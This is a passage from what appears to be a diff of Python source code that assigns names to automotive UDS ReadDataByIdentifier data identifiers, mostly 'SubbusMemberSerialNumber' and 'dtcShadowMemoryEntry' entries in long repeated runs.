"SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x161e] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x161f] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1620] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1621] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1622] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1623] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1624] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1625] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1626] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1627] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1628] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1629] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x162a] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x162b] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x162c] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x162d] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x162e] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x162f] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1630] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1631] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1632] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1633] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1634] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1635] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1636] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1637] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1638] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1639] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x163a] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x163b] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x163c] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x163d] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x163e] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x163f] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1640] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1641] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1642] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1643] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1644] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1645] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1646] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1647] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1648] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1649] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x164a] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x164b] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x164c] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x164d] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x164e] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x164f] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1650] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1651] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1652] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1653] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1654] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1655] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1656] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1657] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1658] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1659] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x165a] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x165b] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x165c] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x165d] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x165e] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x165f] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1660] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1661] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1662] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1663] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1664] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1665] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1666] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1667] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1668] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1669] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x166a] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x166b] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x166c] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x166d] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x166e] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x166f] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1670] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1671] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1672] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1673] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1674] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1675] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1676] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1677] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1678] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1679] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x167a] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x167b] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x167c] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x167d] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x167e] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x167f] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1680] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1681] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1682] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1683] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1684] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1685] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1686] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1687] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1688] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1689] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x168a] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x168b] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x168c] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x168d] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x168e] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x168f] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1690] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1691] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1692] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1693] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1694] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1695] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1696] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1697] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1698] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1699] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x169a] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x169b] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x169c] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x169d] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x169e] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x169f] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16a0] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16a1] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16a2] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16a3] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16a4] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16a5] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16a6] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16a7] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16a8] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16a9] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16aa] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ab] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ac] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ad] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ae] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16af] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16b0] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16b1] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16b2] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16b3] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16b4] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16b5] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16b6] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16b7] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16b8] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16b9] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ba] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16bb] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16bc] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16bd] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16be] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16bf] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16c0] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16c1] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16c2] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16c3] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16c4] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16c5] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16c6] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16c7] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16c8] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16c9] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ca] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16cb] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16cc] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16cd] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ce] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16cf] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16d0] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16d1] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16d2] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16d3] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16d4] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16d5] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16d6] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16d7] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16d8] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16d9] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16da] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16db] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16dc] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16dd] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16de] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16df] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16e0] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16e1] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16e2] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16e3] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16e4] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16e5] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16e6] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16e7] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16e8] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16e9] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ea] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16eb] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ec] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ed] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ee] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ef] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16f0] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16f1] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16f2] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16f3] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16f4] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16f5] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16f6] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16f7] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16f8] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16f9] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16fa] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16fb] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16fc] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16fd] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16fe] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x16ff] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x171f] = "Certificate" +UDS_RDBI.dataIdentifiers[0x172a] = "IPIdent" +UDS_RDBI.dataIdentifiers[0x1734] = "IndividualDataIDTable" +UDS_RDBI.dataIdentifiers[0x1735] = "StatusLifeCycle" +UDS_RDBI.dataIdentifiers[0x2000] = "dtcShadowMemory" +UDS_RDBI.dataIdentifiers[0x2001] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2002] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2003] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2004] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2005] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2006] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2007] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2008] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2009] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x200a] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x200b] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x200c] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x200d] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x200e] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x200f] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2010] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2011] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2012] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2013] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2014] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2015] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2016] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2017] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2018] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2019] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x201a] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x201b] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x201c] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x201d] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x201e] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x201f] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2020] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2021] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2022] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2023] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2024] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2025] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2026] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2027] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2028] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2029] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x202a] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x202b] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x202c] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x202d] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x202e] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x202f] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2030] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2031] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2032] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2033] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2034] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2035] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2036] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2037] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2038] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2039] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x203a] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x203b] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x203c] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x203d] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x203e] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x203f] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2040] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2041] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2042] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2043] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2044] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2045] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2046] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2047] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2048] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2049] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x204a] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x204b] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x204c] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x204d] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x204e] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x204f] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2050] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2051] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2052] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2053] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2054] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2055] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2056] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2057] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2058] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2059] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x205a] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x205b] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x205c] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x205d] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x205e] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x205f] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2060] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2061] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2062] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2063] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2064] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2065] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2066] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2067] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2068] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2069] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x206a] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x206b] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x206c] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x206d] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x206e] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x206f] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2070] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2071] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2072] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2073] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2074] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2075] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2076] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2077] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2078] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2079] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x207a] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x207b] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x207c] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x207d] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x207e] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x207f] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2080] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2081] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2082] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2083] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2084] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2085] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2086] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2087] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2088] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2089] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x208a] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x208b] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x208c] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x208d] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x208e] = "dtcShadowMemoryEntry" 